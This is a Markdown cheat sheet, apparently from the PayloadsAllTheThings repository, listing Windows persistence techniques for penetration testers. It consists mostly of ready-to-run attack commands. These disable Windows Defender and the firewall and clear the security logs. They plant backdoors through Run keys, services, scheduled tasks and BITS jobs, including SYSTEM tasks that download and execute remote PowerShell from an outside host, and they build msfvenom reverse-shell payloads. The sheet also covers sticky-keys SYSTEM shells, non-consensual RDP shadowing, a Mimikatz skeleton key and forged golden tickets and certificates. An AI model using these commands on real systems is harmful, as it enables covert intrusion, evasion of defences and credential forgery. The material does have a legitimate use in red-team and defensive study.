PayloadsAllTheThings/Methodology and Resources/Windows - Persistence.md

# Windows - Persistence

## Summary

* [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Antivirus and Security](#disable-antivirus-and-security)
    * [Antivirus Removal](#antivirus-removal)
    * [Disable Windows Defender](#disable-windows-defender)
    * [Disable Windows Firewall](#disable-windows-firewall)
    * [Clear System and Security Logs](#clear-system-and-security-logs)
* [Simple User](#simple-user)
    * [Registry HKCU](#registry-hkcu)
    * [Startup](#startup)
    * [Scheduled Tasks User](#scheduled-tasks-user)
    * [BITS Jobs](#bits-jobs)
* [Serviceland](#serviceland)
    * [IIS](#iis)
    * [Windows Service](#windows-service)
* [Elevated](#elevated)
    * [Registry HKLM](#registry-hklm)
        * [Winlogon Helper DLL](#)
        * [GlobalFlag](#)
    * [Startup Elevated](#startup-elevated)
    * [Services Elevated](#services-elevated)
    * [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
    * [Binary Replacement](#binary-replacement)
        * [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
        * [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
    * [RDP Backdoor](#rdp-backdoor)
        * [utilman.exe](#utilman.exe)
        * [sethc.exe](#sethc.exe)
    * [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
    * [Skeleton Key](#skeleton-key)
* [Domain](#domain)
    * [Golden Certificate](#golden-certificate)
    * [Golden Ticket](#golden-ticket)
* [References](#references)


## Tools

- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)

## Hide Your Binary

> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.

```ps1
PS> attrib +h mimikatz.exe
```

## Disable Antivirus and Security

### Antivirus Removal

* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)

### Disable Windows Defender

```powershell
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true

# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All

## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install

# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
```

### Disable Windows Firewall

```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```

### Clear System and Security Logs

```powershell
cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security
```

## Simple User

Set a file as hidden

```powershell
attrib +h c:\autoexec.bat
```

### Registry HKCU

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

```powershell
Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Using the command line 

```powershell
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
```

Using SharPersist

```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```

### Startup

Create a batch script in the user startup folder.

```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Using SharPersist

```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```

### Scheduled Tasks User

* Using native **schtask** - Create a new task
    ```powershell
    # Create the scheduled tasks to run once at 00.00
    schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
    # Force run it now !
    schtasks /run /tn "Device-Synchronize"
    ```
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
    ```powershell
    # Launch an executable by calling the ShellExec_RunDLL function.
    SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
    ```

* Using Powershell
    ```powershell
    PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
    PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
    PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
    PS C:\> $S = New-ScheduledTaskSettingsSet
    PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
    PS C:\> Register-ScheduledTask Backdoor -InputObject $D
    ```

* Using SharPersist
    ```powershell
    # Add to a current scheduled task
    SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

    # Add new task
    SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
    SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
    ```


### BITS Jobs

```powershell
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe"  "C:\tmp\evil.exe"

# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor

# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
```

## Serviceland

### IIS

IIS Raid – Backdooring IIS Using Native Modules

```powershell
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```

### Windows Service

Using SharPersist

```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```

## Elevated

### Registry HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

```powershell
Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe
```

Using the command line 

```powershell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
```

#### Winlogon Helper DLL

> Run executable during Windows logon

```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
```


#### GlobalFlag

> Run executable after notepad is killed

```powershell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
```

### Startup Elevated

Create a batch script in the user startup folder.

```powershell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 
```

### Services Elevated

Create a service that will start automatically or on-demand.

```powershell
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab

# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add

# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor
```

### Scheduled Tasks Elevated

Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.

> Processes spawned as scheduled tasks have taskeng.exe process as their parent

```powershell
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D

# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]

##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
 
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
 
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
 
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
 
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
 
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
```

### Binary Replacement

#### Binary Replacement on Windows XP+

| Feature             | Executable                            |
|---------------------|---------------------------------------|
| Sticky Keys         | C:\Windows\System32\sethc.exe         |
| Accessibility Menu  | C:\Windows\System32\utilman.exe       |
| On-Screen Keyboard  | C:\Windows\System32\osk.exe           |
| Magnifier           | C:\Windows\System32\Magnify.exe       |
| Narrator            | C:\Windows\System32\Narrator.exe      |
| Display Switcher    | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher        | C:\Windows\System32\AtBroker.exe      |

In Metasploit : `use post/windows/manage/sticky_keys`

#### Binary Replacement on Windows 10+

Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.

Create a malicious **HID.dll** in  `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.


### RDP Backdoor

#### utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

#### sethc.exe
 
Hit F5 a bunch of times when you are at the RDP login screen.

```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

### Remote Desktop Services Shadowing

:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.

Requirements:
* RDP must be running

```powershell
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 – View Session without user’s permission.

# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.
```

### Skeleton Key

```powershell
# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>

# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```

## Domain

### User Certificate

```ps1
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User

# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
```

### Golden Certificate

> Require elevated privileges in the Active Directory, or on the ADCS machine

* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER 
    ```ps1
    privilege::debug
    crypto::capi
    crypto::cng
    crypto::certificates /systemstore:local_machine /store:my /export
    ```
* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
    ```ps1
    ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
    ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
    ```
* Finally you can request a TGT using the Certificate
    ```ps1
    Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
    ```

### Golden Ticket

> Forge a Golden ticket using Mimikatz

```ps1
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

## References

* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
* [IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
* [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)